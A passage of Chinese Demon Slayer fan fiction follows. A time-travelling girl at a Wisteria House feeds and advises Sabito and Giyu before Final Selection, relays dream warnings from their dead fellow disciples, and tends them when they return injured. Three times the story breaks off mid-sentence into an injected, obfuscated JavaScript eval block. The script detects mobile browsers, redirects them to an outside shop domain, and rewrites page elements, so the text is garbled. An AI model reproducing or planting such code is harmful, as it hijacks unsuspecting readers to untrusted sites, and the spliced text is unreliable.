小忍抱着装了紫苏姜的小罐,用力点头。 香奈穗则是被塞了一包金平糖。她有点害羞,一直以来自己都作为可以让忍依靠的姐姐,头一次被当作更小的孩子发糖,对方还是个同龄人。 藤花月咲瞥见岩柱背着的斗笠,浅笑:“如果那天有派上用场就太好了。” 悲鸣屿行冥低头:“帮大忙了。” 没有斗笠他同样能冒雨赶路,可即便他过着苦行僧一般的生活,那肯定是有遮雨的东西更舒服。 藤花月咲和寿奶奶站在大门口,眺望三人的身影远去,直至彻底看不见。 “好啦,干活吧!” …… 之后的几个月,紫藤花之家又陆陆续续接待了不少猎鬼人。 藤花月咲记忆力不错,每一位队员的长相和名字她都有印象,毕竟跟旅游旺季的旅馆相比,这点人数压根不算什么。 她发现,从没有队员来过第二次。 或许是去其他地方做任务了,而更大的可能是,他们在任务中被鬼杀死了。 寿奶奶说,与队员的每一次见面都大概是最后一面,因此要怀着尊敬的心去招待,至少在这里度过一段轻松的时光。 藤花月咲得知,鬼是十分强大的,用普通武器杀不死鬼,即便使用特制的日轮刀,除了脖子以外的部分都能无限再生,一些鬼还具有特殊的能力。 这也太作弊了吧! 人命只有一条,缺胳膊断腿了就长不回来,□□凡身却要面对这样的怪物吗? 这得有怎样的心理素质才能一次又一次冲上前杀鬼。 “所以,要由专门的培育师来传授刀法和呼吸法,学会这两样的剑士才能拥有和鬼搏斗的体质,”寿奶奶给今天来的队员泡好新一壶热茶,“最终选拔又要开始了,不知道这回有多少人能通过。” 藤花月咲把全是血和破洞的衣服缝补好,洗干净晾起来,揣上钱出门买白萝卜。 她很喜欢寿奶奶做的关东煮,加上白萝卜炖煮后软烂又入味,非常适合给伤患吃,是紫藤花之家每天必有的一道菜。 买完白萝卜,藤花月咲逛了逛,找到两家药店。 但很可惜,卖的全是西洋药品,没有她预想中的中草药。 对于这样的结果,藤花月咲记起了明治时期政府打压传统医药,又取消了汉方医生的职业资格,导致许多传统药铺倒闭,汉方医学被逐出主流医疗体系,只有买不起药的穷苦人家才会去山上采点草药治病。 唉,只能等有空去附近的山上看看能不能有收获了。 刚踏出药店大门,一转头,迎面有个男人跌跌撞撞地朝她冲来,一路撞倒踢翻了好多东西,挥舞着刀子,“滚开,都滚远点!” 周围人瞬间空出一大片地方,生怕被误伤。 藤花月咲状似害怕地往一旁躲闪,在男人即将经过时快速伸腿绊了了一下,对方顿时摔了个狗啃泥。 她左右看看,暂且先等有人出头或官府的人过来,结果地上的男人还没支起身体,就被从天而降的少年又摁趴下了。 “把那位婆婆的钱包还来!”嘴边有疤、穿着黄橙绿三色交织龟甲纹羽织、侧脸挂着狐狸面具的少年按着男人的脑袋,头发是桃色的,好稀少啊。 与此同时,少年藏在羽织下、别在腰间的东西晃动了一下。 藤花月咲探头:嗯? 男人吃痛不已,正要反握刀子刺向背后的少年,反而被踩住手腕动弹不得,怎么也翻不了身。 这时官府的人也来了,搜刮出了男人身上的钱包,“失主在哪里?” “锖兔!” 另一个穿着绯红色羽织的黑发少年小跑过来,侧脸挂着相似的狐狸面具,微微喘气,侧身露出后背背着的小个子婆婆。 男人被官府押走了,钱包回到失主婆婆手上,婆婆走路都颤巍巍的,执意去买了鲷鱼烧感谢两个少年。 两人就这么站在路边并肩吃着刚出炉热乎乎的鲷鱼烧,忽然有个跟他们差不多大的女孩凑近,欲言又止。 锖兔和富冈义勇对视一眼,同时掰下各自鲷鱼烧没吃过那侧的一角,递过去,“给。” 藤花月咲:…… 虽然目的不是这个,但也不能折了对方的好意,她两块都接了过来,一块是鱼尾巴,一块是鱼头,咬一口。 红豆馅,甜甜的真好吃~ 因为一起分享了吃食,搭话就变得容易多了。 “你们是要去参加最终选拔吗?”藤花月咲小声问。 方才她隐约看到了名叫“锖兔”的少年藏着的长刀,却没穿队服。要知道这时可是颁布了废刀令,除了警察之外的平民都禁止在公共场所佩刀。 婆婆聊起过最终选拔的事,据说最近又要开始了,于是她才试着上前一问。 少年们诧异地看向她,锖兔咽下最后一口鲷鱼烧,“是的,你怎么知道?” 藤花月咲简单解释了下紫藤花之家,称赞:“刚才你抓那个坏人的时候跑得特别快,跳得好高,一看就不是普通人。” 一旁的富冈义勇认同地点头。 锖兔用力拍拍师弟的肩膀,大笑:“你干嘛点头,你也能做到啊!” 富冈义勇摇摇头,“锖兔更厉害。” “咦,那为什么一开始让那个男人逃脱了?”藤花月咲好奇。 然后,她得知那个婆婆的钱包居然是在五公里之外的城外被抢的,接着又遇到了这对师兄弟,听了婆婆描述那个人的特征和跑走的方向后,师兄先去追,师弟背着婆婆在后面赶。 就这样居然都能追上。 “……”现在,藤花月咲知道练过呼吸法的人为什么能杀鬼了。 可之前那些鬼杀队队员好像没这么厉害,难道是受伤了的缘故? “最终选拔什么时候开始?”得到回答是明晚。 藤花月咲想了想,拉着这对师兄弟回到紫藤花之家门口,先去问过寿奶奶,得到许可后飞快跑出来,发丝都乱了些,脸颊跑得微红,“如果不耽误你们赶路的话,今晚就在这里休息吧!” 回来前她也设想过寿奶奶拒绝的情况,假如那样她就把自己的点心分给他们路上吃。 师兄弟俩仰头看着宅邸的高大围墙,迟疑了一下。 锖兔:“我们还不是正式队员,可以被招待吗?” “所以等你们加入鬼杀队之后要多杀几只鬼,就能抵消啦。”藤花月咲理直气壮。 “杀鬼本来就是鬼杀队的职责。”富冈义勇说。 “别推辞了,进来吧,”藤花月咲把两人推进门,“就当提前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897709|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟悉一下,以后在附近做任务就知道怎么走了。” 她带着师兄弟绕到了一间比较偏僻的小房间,“最近有队员在这儿疗伤,需要静养,这里出入走动都不会吵到那边。” 锖兔环顾一周打量,即使对方说这是最小的房间,但也比师父的深山小屋要豪华,他们也不是什么大人物,能有这样的地方睡觉已经超乎预期的了。 富冈义勇蹲下摸了摸被褥,好软…… 藤花月咲迅速端了一壶煎茶来,“先休息一会儿,晚饭我会送来的,今晚有栗子饭和鲑鱼萝卜哦。” 诶,那个话少的师弟怎么突然两眼冒星星? “你喜欢鲑鱼萝卜呀,”她有点心酸,还都是听到爱吃的菜很开心的小孩子呢,如果不是被鬼破坏了家庭,他们应该会生活得很幸福,“今天的鲑鱼很新鲜,我会努力做得好吃的!” 师兄弟完全不习惯坐等干饭,跟着她一起去了厨房。 藤花月咲很自然地接受了他们的帮忙,反正还不是猎鬼人,没必要那么遵守规定啦。 她问锖兔:“你会烧火吧?” 蒸米饭她现在熟练了,但要一边切配一边控制火候还是有点手忙脚乱,都是跟寿奶奶打配合的。 眼下寿奶奶在跟医生一起给队员看诊走不开,正好抓个帮工打下手。 富冈义勇则在外面劈柴,会用刀的人就是不一样,劈出来的柴比藤花月咲的还整齐,几乎快看不见毛边了。 把饭菜给队员送去后,三人也没回房间,一起在厨房外的小空地上吃了饭。 富冈义勇本就话少,又专心享受着鲑鱼萝卜,因此基本上都是另外两人在聊天。 “这样啊,每次最终选拔都要死不少人……”藤花月咲觉得这个话题好沉重,“那为什么不派人去暗中保护呢?” “似乎曾经是有的,每次最终选拔都会派甲乙等级的队员在暗中守望,如果参与选拔的人有生命危险或主动弃权就上前保护。” 锖兔想起师父的话,“但鬼杀队的人手一直不够,甲乙等级的队员有很多任务,无法调派足够数量的人保护,因此还是不可避免会有伤亡。” “尤其是在鬼摸透了最终选拔的时间规律,会特意选在甲乙队员离开的时间大肆吃人,当时的主公便取消了保护人手,并且此后每次选拔的消息都是暗中传递的。” 藤花月咲吃着香甜的栗子饭,静静听他说。 “我认为,不仅仅是这些原因,杀鬼本身就是一件极其危险的事,要时刻做好牺牲的准备,”锖兔摸了摸腰间的刀,“如果有人暗中保护,总有人会想着反正下次还有机会,心中留有余地,还没真的遇到鬼就首先怯了一分,哪怕没有生命危险也可能会因为害怕而弃权。可在任务中,不一定会有人及时赶来救援。” “也会有人在极端劣势的情况下仍然不想放弃,只要还活着就绝对要砍下恶鬼的头颅,即使为此放弃自己的生命也在所不惜。如果这时有保护的队员认为对方陷入了生命危险插手中止,那么那个人的心里能咽下这口气吗?” “在生死之间依旧选择拔刀战斗的剑士,在溺于危机时会毫不犹豫保护民众的勇士,我想,主公是想要选拔出这样的队员的。” 藤花月咲点点头,残酷,却不得不这么做。 感受到空气的凝滞,她转移话题:“听说只有成为队员才能有自己的日轮刀,你们的刀是谁给的?” 5. 第五章 “是师父给我们的,”锖兔轻轻抚摸着刀鞘,十分爱惜,“那些使用水之呼吸的剑士们退役后会将日轮刀送给培育师,我也不知道它最初的主人是谁,但希望他们的意志能陪我战斗到最后。” 仅有极少数剑士能够在与鬼的拼杀中活到退役——或者因受重伤不得不退役,而那些战死的队员们,即便尸骨不全,也会和他们的日轮刀一起安葬在鬼杀队的墓地。 因此培育师们给弟子练习用的日轮刀只有寥寥数把,一代又一代传下去,经过许多次淬炼打磨,几乎快看不清上面刻的“恶鬼灭杀”四个字。 “那,要不要在最终选拔前磨一下刀?” 藤花月咲:“我们这里有块日轮刀的专用磨刀石,经常有剑士借来磨刀呢,想看吗?” “想!” 三人立刻收拾碗筷,和队员们用过的餐具放在一起洗刷刷。 藤花月咲负责用竹刮片把碗碟上的剩菜、饭粒刮干净,放进烧过的温水中;锖兔用包着草木灰的纱布包——相当于这时候的洗洁精——擦拭碗碟;最后富冈义勇把碗碟再涮一涮,在一旁摆好晾干。 “据说是二十年前啊,寿奶奶在路边救了一个因为赶路饿晕的刀匠,那个刀匠醒来后一定要感谢她,寿奶奶就说想要一块可以让队员临时磨一磨刀的磨刀石。” 藤花月咲手上动作麻利,一点儿也不耽误聊天。 嘛,她偶尔觉得菜刀钝了,也会去磨一磨,确实好用。 三人飞速洗完碗,来到放置磨刀石的屋子。 这是一块优质的名仓石,属于天然砥石,虽然外表相当质朴,但它颗粒细腻,非常适合给日本刀磨刀,能使刀刃达到极佳的锋利度和光洁度。 锖兔和富冈义勇将日轮刀从刀鞘取出,藤花月咲看到这对师兄弟的刀刃颜色都是漂亮的、如同寒芒般的蓝色,只不过前者的颜色更深邃些。 藤花月咲旁观过猎鬼人磨刀,在她的口述下,锖兔先试着上手,发现这块磨刀石的手感很好,三下五除二便完成了。 然后就是一人一边,围在富冈义勇两侧,用关爱小孩子的眼神注视着对方动手。 富冈义勇:……突然压力好大。 磨完之后,两把刀的光泽更漂亮了,刀锋在月光下仿佛波光粼粼的湖水,静谧又蕴含着强大的力量。 藤花月咲好奇:“手感如何?” 庭院里,富冈义勇合眼深呼吸,蓦地挥刀:“水之呼吸-叁之型-流流舞!” 他的身体忽然像水流一样高速移动,眨眼间便移动了数步,可用肉眼只能捕捉到几个残影。 咦,好像真的感觉有水从刀刃沁出,能嗅到冰凉的水拂过的气息,听到水流拍打、浪花起伏的余音。 藤花月咲揉了揉眼睛,再一看,并没有任何水流,只是看起来好像有水。 “啪嗒”,富冈义勇已经把刀收了回去,点点头,唇角露出一抹畅快的笑。 “看来不错啊,锖兔你也试试。”藤花月咲睁大双眼,想再次体验一下幻觉版裸眼4D特效。 “水之呼吸-壹之型-水面斩!” 锖兔选择了水之呼吸的另一招式,从身体一侧用最大角度快速挥刀发起直斩,从动作来看不如刚才的叁之型华丽,但威力相当惊人。 藤花月咲:哇,就好像坐在沙滩边被海浪扑了一身,湿成落汤鸡。 “很棒,挥刀都更顺手了,感觉能轻而易举地破开空气!”锖兔满意地又随手挥舞几下,收刀,回身看到廊檐下少女一脸的若有所思,“怎么?” 藤花月咲托腮,看第一个招式还不觉得,可两招出来后,就怎么看怎么眼熟,似乎很早之前就在哪儿见过。 可按理来说这应该是她第一次见识呼吸法,之前的队员们住在这儿时连刀都没怎么拔过。 况且,“我第一次看呼吸法不是很懂,说错的话不要见怪……你们是不是先用这几个地方用力,然后将呼吸以这样的路线在肺部循环,然后分散集中到每一招的发力点?” 她虚点了锖兔的腰、腹部、小腿几处部位,手指在胸腔同等高度画圈圈,抬眼询问。 师兄弟惊讶极了,因为她说得全对! 富冈义勇懵懵地摸摸自己:“你能看透身体?” 锖兔:“你很有学习呼吸法的天赋呀!当年光是发力这一部分我们就练习了几个月,你居然一眼看出来了!” 藤花月咲有点囧,那什么,理论和实践完全是两码事好嘛。 正常人能做到控制呼吸在肺部循环的路线吗?!听着就很容易窒息…… “我是听你们呼吸的声音和肌肉起伏判断出来的,”她停顿一下,再三犹豫才说出口,“我想说的是,虽然你们发力和循环的部位完全一致,但锖兔的气息会有一点点杂音,义勇却不会这样。” “啊?”锖兔摸了摸胸口,“可师父没说过我的呼吸法用错了啊。” “应该确实是没错的,”藤花月咲也说不清楚,挠挠脸,“平时训练结束后,你们会觉得身上哪里很酸痛吗?” 富冈义勇摇摇头,锖兔:“没有!” “是吗,”藤花月咲伸手,用手指突然戳了一下这家伙后背的某处,“这里不痛?” 锖兔的眉毛明显一皱,有些吃痛,抿着嘴不说话。 她继续道:“估计是因为你的身体素质本来就很天才,几乎察觉不到吧。所以我猜测,最初你的刀法威力会比义勇强许多,但如果你们遇到了非常大量的鬼,到最后反而会是他耐性更好。” 师兄弟的样子似懂非懂。 “你为什么会去学水之呼吸?我听说还有好几种呼吸法呀。”光藤花月咲目前知道的就还有两种,悲鸣屿行冥用的是岩之呼吸,蝴蝶姐妹去学的则是花之呼吸。 “是有人把我介绍给水之呼吸的培育师,也就是师父,因为水之呼吸的招式都比较基础,学习的人最多,”锖兔反应过来,“你的意思是,我不适合用水之呼吸??” “我只是认为,不算最契合。” 藤花月咲谨慎回答,她这个外行可不敢瞎指导,万一一个不好,让对方走火入魔了怎么办。 “怎么说呢,使用完后应该哗啦一下特别轻松,有咻地融为一体的畅快感。”她艰难地依靠那股莫名的熟悉感憋出描述,用手肘戳戳义勇,让他也形容一下。 富冈义勇:“就是这样。” 藤花月咲:…… 她干脆一溜儿烟小跑开,回来的时候拿了一瓶药,是紫藤花之家采购的西洋止疼药。 这个时候已经有阿司匹林药片了,但价格实在太贵,只有富人和大医院用得起。像紫藤花之家买的就是水杨酸钠,效果略逊于阿司匹林,但价格就低了很多,性价比不错,买来药粉给受伤的队员止疼还是绰绰有余的。 她先用牛皮纸给两人各包了一小包药粉,然后尽量简单易懂地解释:“每个人的体质不同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897710|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就像这个止疼药粉,即便是受伤程度相同的队员,有的人用了后就完全感受不到疼痛,偶尔也有人用了没什么效果,需要吃别的药品。” “呼吸法的原理大概也差不多。水之呼吸很好,但或许不是最契合你的,等你成为正式队员后可以跟你师父讨论一下,试着接触使用其他呼吸法的队员,说不定到时可以彻底开发出你的天赋。” 她的表情十分诚恳,锖兔知道这是真心话,没有不当一回事,正色道:“我会和师父考虑你的建议的。” 藤花月咲松口气,看向两人戴着的狐狸面具,“这个面具也是你们师父雕刻的吧,和你们本人长得有点像呢。” “这是师父亲手做的消灾面具,他每天也都戴着一个天狗面具,我们从来没见过他长什么样。”锖兔笑起来,嘴边的疤痕半点不恐怖,反而放大了他笑容的弧度。 富冈义勇也参与讨论:“就连吃饭睡觉也戴着呢,到后面都已经觉得师父就长那个样子了,所以吃饭时看到他露出嘴巴还会愣一下。” “如果我们通过了最终选拔,能不能试着让他摘掉面具啊?” 藤花月咲虽然对他们师父的长相不感兴趣,却知道那个消灾面具是真的有用,她能隐隐从那些纹路中感应到守护的力量。 穿越之前她的直觉就挺强的,但感应到的绝大多数都是小事,而且基本都围绕她和比较亲近的人,比如出门要不要带伞、赶时间走哪条路会比较通畅、哪天导师的心情好可以交论文初稿…… 最大一件事就是高中课间让朋友的父母赶紧回家,结果抓到了闯空门的小偷。 可自从来到这个时代,她的这种直觉就越来越清晰,感应到的范围也在缓慢扩大。 不过她也没太在意——毕竟都有鬼了,发生什么都不稀奇吧。 …… 藤花月咲撤回前言。 不论如何,梦到一群少年少女围着自己,也太稀奇了啊!! 还个个都戴着狐狸面具,一看就跟锖兔义勇的是同款。 当她意识到这是梦,自己还能在梦里说话时,就有点懂了:“你们是想让我转达什么吗?” 其中,离她最近的那个女孩子穿着梅花图案的短和服,黑色中长发,相当可爱,狐狸面具笑眯眯的,脸颊画着蓝色小花。 “小心那个大家伙。”对方的声音也十分空灵。 藤花月咲:“哪个大家伙?” “它的,脖子很硬。”女孩子似乎没办法说得很清楚,还没等追问,那些身影便逐渐模糊,消失在了迷雾中。 “什么脖子?再多给点提示啊!” 藤花月咲伸手想握住对方的手腕,却一下醒了过来,发现自己冲天花板倔强地抬起一只手臂,冷风嗖嗖地钻进被窝。 一看旁边,天还黑着,但寿奶奶的床铺空了,她也赶紧爬起来。 水呼师兄弟要赶路,今早天不亮就要出门,所以昨晚就捏好了饭团当早饭。 藤花月咲披好衣服,跑去小房间,里面被打扫得整齐干净,那对师兄弟正准备离开。 他俩昨晚还困扰过,觉得不跟主人家说一声就离开很失礼,但太早去打招呼又担心打扰她们休息。 当时她说:不用顾虑,安心赶路吧! 现在看来,幸好这俩还是有点顾虑的,否则就错过了! “你们小心……不要轻敌,”她微微喘着气,“最终选拔,可能藏着很强的鬼!” 6. 第六章 “大家伙、脖子很硬……可能还有很多手,遇到这样的敌人不要贸然迎击,先观察,如果发现暂时敌不过就跑,总能找到合适的时机。”手很多是梦里的女孩子在快消失时留下的最后一句话,藤花月咲趁着刚睡醒还有印象,全都一股脑儿倒出来。 “如果受伤了,不是疼得受不了就先别用我昨天给的药粉,那个第一次用可能会有点不良反应,”她又问,“你们有带止血药吧?” 水呼师兄弟被她一连串的话问得有些懵,锖兔掏出揣在怀里的盒子,“师父有给药膏。” “分两份,每人都带着点,万一走散了。”藤花月咲从库房翻出一个比巴掌还小的罐子递过去。 锖兔和义勇对视一眼。 “你为什么说最终选拔里会有很强的鬼?”锖兔一边分药膏一边开口,“师父说里面的鬼都是柱抓进去的,最多就吃了几个人。” 藤花月咲:“你昨天说最终选拔曾经有过保护制度,是什么时候取消的?” “好像……是江户时代的事了。” 江户时代,那距今至少也有四五十年,远一点就是一两百年。 “这几十年间都只有连普通队员都算不上的剑士进去,就算被吃了也会认为是死在了选拔里,如果真有活了很久、吃了很多人的鬼存在,你觉得它会有多强?” 富冈义勇身体一震,锖兔也握紧拳头。 藤花月咲尽力转达完梦里孩子们的话,“你们小心为上,不要轻敌了。” “好。” “别光是嘴上说说,我可是要在这里等着的,你们最终选拔完还从这条路回去的话,记得来报个平安,”她看向义勇,“还给你们做鲑鱼萝卜。” 富冈义勇露出腼腆的一个笑,点点头。 目送两人离开后,藤花月咲跺跺脚,朝手心哈了一口气。 天气也渐渐变冷了,早上起来还是有些凉的。她记得明明送走蝴蝶姐妹时夏天还没过完呢,时间过得真快。 她走到厨房,烟囱慢慢地冒着炊烟,寿奶奶已经在做饭了,探头问:“奶奶,缸里还有水吗?我去井里打水灌满吧。” 昨晚洗好碗筷后水剩的不多了,她算着做完早饭刚好能用完。 寿奶奶抬头:“不用,水缸是满的。” “诶?”藤花月咲走近一看,真的是满的。 看来是水呼师兄弟走之前挑满的,他们到底多早就起了啊。 “他们是从哪里过来的?”寿奶奶昨天都在照顾队员,只在师兄弟来打招呼问候时见了一眼。 “狭雾山,他们都是用水之呼吸的剑士,培育师似乎是叫……鳞泷左近次,”藤花月咲记得这个很有江户气息的名字,“奶奶你知道他吗?” 听到这个名字,寿奶奶顿了顿,“知道,鳞泷左近次大人曾经是那一代的水柱,当年我招待过他。” “水柱!好厉害。” 说到柱,藤花月咲想到的就是岩柱悲鸣屿行冥先生,那么能当上水柱,实力应该不会相差多少吧? 见她专心去给土豆削皮,貌似不知道更多了,寿奶奶便也没有说什么。 ——前水柱鳞泷左近次,自成为培育师以来教导的十二个弟子,未有一人通过最终选拔。 —— 自这天起,藤花月咲每晚睡前都会躺在被窝里,心里不断念着:让我再梦见那些孩子、让我再梦见那些孩子。 别说,还挺有用,真的每晚都能梦见,而且他们在梦境里待的时间一次比一次长。 藤花月咲知道他们应该都是鳞泷左近次的弟子、锖兔义勇的同门,既然来托梦,大概就是已经不在这个世上了。 她也帮不了别的什么事,只能让大家排队把想传达给师父的话说给她听,等睡醒后再用纸笔记录下来。 “等等,说慢点三郎,你的方言我不是很能听懂。” “唔,想让师父注意身体是吗?花子真是个好孩子呀。” “呃,兵卫你是说在师父屋子的榻榻米下面藏了一颗糖?”这个真的要写进去吗?都过去这么多年了绝对吃不了了吧?! 第七晚,最后轮到了那个穿梅花短和服的女孩子,她的名字叫真菰。 真菰说:“我们最喜欢鳞泷先生了,会一直在狭雾山陪伴他的。” 藤花月咲觉得她笑起来特别温和,有一种治愈的力量:“鳞泷先生应该是个很温柔的人。”只有温柔的人才能带出一群温柔的孩子,他还会给女孩子的狐狸面具上刻小花花。 “嗯,他一直在为我们没能回去而伤心,如果知道那只鬼是靠消灾面具认出我们是他的弟子,师父一定会很内疚,”真菰浅笑,“但是,正因为有了面具,我们才能以这种形式陪伴他。他是最温柔的师父,我们为能成为他的弟子而自豪。” 藤花月咲看着这个比她还要娇小一些的女孩子,忍不住轻轻抱住了她。 真菰愣了愣,哪怕是在梦境里,哪怕她已经成为了魂魄,也觉得好温暖。 小巧的少女眉眼弯了弯,也抬手回抱,合眼轻拍两下对方的肩膀。 “谢谢你,再见了。” 霎时间,藤花月咲睁开了双眼。 眼前一片漆黑,寿奶奶去守上半夜了没回来,估摸着刚刚凌晨。 她摸了一把自己的脸,湿漉漉的。 …… 第二天早上,藤花月咲拎着水桶和刷子洗刷庭院和鹅卵石小路时,老远就听到有乌鸦“嘎嘎”飞来的声音。 那只乌鸦熟门熟路地飞进院子,停在了那棵紫藤花树上,喝起了水。 来紫藤花之家休息的队员们的鎹鸦是在这棵树上休息,藤花月咲就在树枝上挂了一个简单的小鸟屋,里面放了水和食物,乌鸦们都很喜欢。 她走过去,没认出这是哪个队员的鎹鸦,不过看到了绑在鸟脚上的信。 拆开一看,连忙去找寿奶奶,“奶奶,通过最终选拔的名单出来了!” 寿奶奶看了信,略显惊讶:“今年通过选拔的人真多。” 以往大多只有两三个,偶尔一个也没有,这回居然有十几个。 寿奶奶从屋内取出一个厚厚的册子,将这些人的姓名填上。 藤花月咲注意到,册子里的很多名字被画上了圈,知道是“已牺牲”的意思,心里沉甸甸的。 “这里有你上次认识的朋友吗?”寿奶奶问。 “嗯!排在前两个的就是。” 寿奶奶用指腹摩挲着那两个名字,喃喃:“是么,那太好了。” 藤花月咲计算那两人的脚程,琢磨等会儿可以去集市买点新鲜的鲑鱼了。 其实鲑鱼萝卜这道菜,她最喜欢的是里面的白萝卜,用干净的淘米水煮软后再跟鲑鱼一起炖,吸收了所有味道精华的萝卜甜滋滋的,特别好吃! “奶奶,今天吃鲑鱼萝卜可以吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897711|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 寿奶奶想到少女上回做的鲑鱼萝卜广受队员们好评,点点头:“再买个柚子回来,加点柚子皮,汤底会更清香。” 柚子皮对肺也很好,可以消食、止咳化痰,柚子糖更是清甜。 藤花月咲听得口舌生津,干劲十足地洗刷完庭院,提着竹篮去集市了。 东京沿海,海货总是新鲜的,但每家店的价格、服务各不相同,紫藤花之家经常采购的这家店物美价廉,而且会把鱼刺去干净,老板人也很好。 她想着天气冷了,多买一点放到明天也不会坏,油脂丰富的烤鲑鱼同样非常好吃! 买完鲑鱼,又去另一旁的水果店挑了一颗柚子。这时候的柚子个头不大,因为关西等地就有种植,不需要进口,所以在一众水果中价格还算合适,10钱一个。 摆在边上的柠檬那么小一个,价格竟更贵,一个要12钱! 这么一看,柚子的性价比超前! 穿越前,藤花月咲吃烤鲑鱼时总要搭配柠檬解腻,但以如今的生活水平,吃腻点反而是件好事? 她是下不去手买那么贵的水果的,回去磨点白萝卜泥作用也大差不差。 往回走时,发现路边有人在卖野菜,仔细一看,居然是铁苋菜。 铁苋菜具有清热解毒、止泻等功效,也可以捣烂后敷在伤口上,能够止血杀菌,算是常见的中草药。 她问了价格,可能这菜都是野外摘的,完全是无本生意,所以卖得比萝卜白菜还便宜,1钱能买两大把! 当即买了一些,打算凉拌了作小菜。 藤花月咲提着满满的竹篮往紫藤花之家走,在路口一拐身,看到两个人倒在地上,吓了她一跳。 跑近一看,还是认识的人,“锖兔、义勇!喂,醒一醒!” 她推了两下,没醒,狠下心使劲儿掐了他们的人中,富冈义勇顿时疼醒了。 “哪里受伤了?”藤花月咲肉眼可见的伤只有义勇额头上的血口子,但敷了药膏已经止血了。 “锖兔晕过去了,”富冈义勇虚弱道,“我……肋骨断了。” 藤花月咲摸了一下,还好,不算严重,“你是疼晕的?” “好饿……” “……” 尽管有点无语可想一想也挺合理,最终选拔肯定不管饭,又不能像野餐那样带一堆吃的去杀鬼,困在山上七天还要高强度运动,荒野求生都没那么狠。 把随身带的糖果往他们嘴里各塞一颗,藤花月咲冲回去放下竹篮,推了一个小板车出来,把两人都拉到了房间——现在他们都是正式队员,便换了间更大、太阳更好的屋子。 幸好男生们都还没到生长发育期,虽然骨骼肌肉重了些,但她还能扛得动。 而且她不扛,难道让寿奶奶来扛?还是找那些比这俩伤得更重的队员来帮忙? 富冈义勇被抬到床褥上,嘴里含着糖,两眼望向天花板。 被问到最终选拔的情况,他说:“一开始我被鬼袭击受伤,用了药膏和药粉,然后找锖兔汇合,一起杀掉了那只很强的鬼。” 藤花月咲看着他,他也看着藤花月咲。 藤花月咲:“就这样,没了?” 富冈义勇的眼神很困惑,像是在说“还有什么吗”。 “……我还是等锖兔醒了再问他吧。”藤花月咲表示你这概括能力也太强了,她以前看小说的简介都比这段话长! 7. 第七章 藤花月咲让水呼师兄弟好好休息,然后去叫了医生。 医生看诊完,富冈义勇的肋骨断了一根,额头伤口因为及时止血敷了药膏,再进行二次包扎,伤好后连疤都不会留下。 锖兔浑身上下也只有些皮外伤,至于昏迷似乎是过度使用呼吸法的副作用,他在最终选拔结束选完玉钢后就倒下了,一路全靠师弟背回来。 ——看来义勇半路昏迷不光是饿的,还有累的。 富冈义勇吃了饭团和药后就沉沉睡去,藤花月咲关上木门,轻手轻脚地离开。 她抱着大木盆去洗衣服,知道义勇的羽织是他姐姐的遗物后,她先是用颜色相近的棉线缝补好,搓洗时也十分小心,倒入烧好的热水泡一会儿,再用肥皂把大块血污清洗得十分干净,一点痕迹都看不出来。 把衣服抖落开晾起来,又去给紫藤花树的鸟屋添水添粮。 在树枝上站了一排、“嘎嘎”吵架的鎹鸦见到她来,蹦蹦跳跳地靠近,有自来熟的还扑棱棱飞到她肩膀上。 “坚果果!我想吃坚果果!” “脆萝卜!脆萝卜!” “好好好,下次准备,”藤花月咲一一应下,“但你们不可以在院子里随地拉屎哦,特别难洗!”刷了一上午的庭院,腰都要断了。 她指了指庭院边上一小块未开辟的土壤,“在这里拉,知道吗?有新鸦来也要告诉它们哦。” 乌鸦特别聪明,尤其这还是会说话的鎹鸦,如果还拉在院子里的话,那说明就是故意的。 鸟厕所的土可以用来施肥,庭院里那么多植株呢,一个个轮着都宠幸不过来。 鎹鸦们歪头想了想,觉得这交易很划算,争先恐后地答应了。 藤花月咲揉一揉它们的脑袋,软软的,手感还不错。 洗了手,开始做晚饭。 寿奶奶已经把米饭蒸上了,容易凉的鲑鱼萝卜最后再做,先处理小菜。 她把今天刚买的铁苋菜挑出来,去掉老茎、蔫巴枯萎的叶子,再切成适口的长度,放入烧开的水重焯烫60秒,捞出浸在凉水里,挤出水分。 用酱油、醋、香油、盐、糖拌一拌,洒上白芝麻。 尝一口,嗯,很开胃! 鲑鱼萝卜和味增汤一起做,前者加入了柚子皮,果然清爽了不少。 看着剩下大半的柚子皮,她用手帕包好保存起来,明天另有他用。 剥好的柚子果肉就是今晚的饭后水果啦。 偷吃是厨子的特权,藤花月咲先吃了一小块,顿时小脸一皱。 好酸! 虽然也有些许甜味,但酸的味道更加强烈,快赶上柠檬了。 不过酸归酸,她还是吃干净了没浪费,水果可珍贵了,补充维生素的重要来源呢。 等到饭点,藤花月咲来到水呼师兄弟房间门前,轻声问醒了没有。 听到两人的回答,她把饭菜端来,“幸好你们醒了,医生说这个药得按点吃,还不能空腹。” 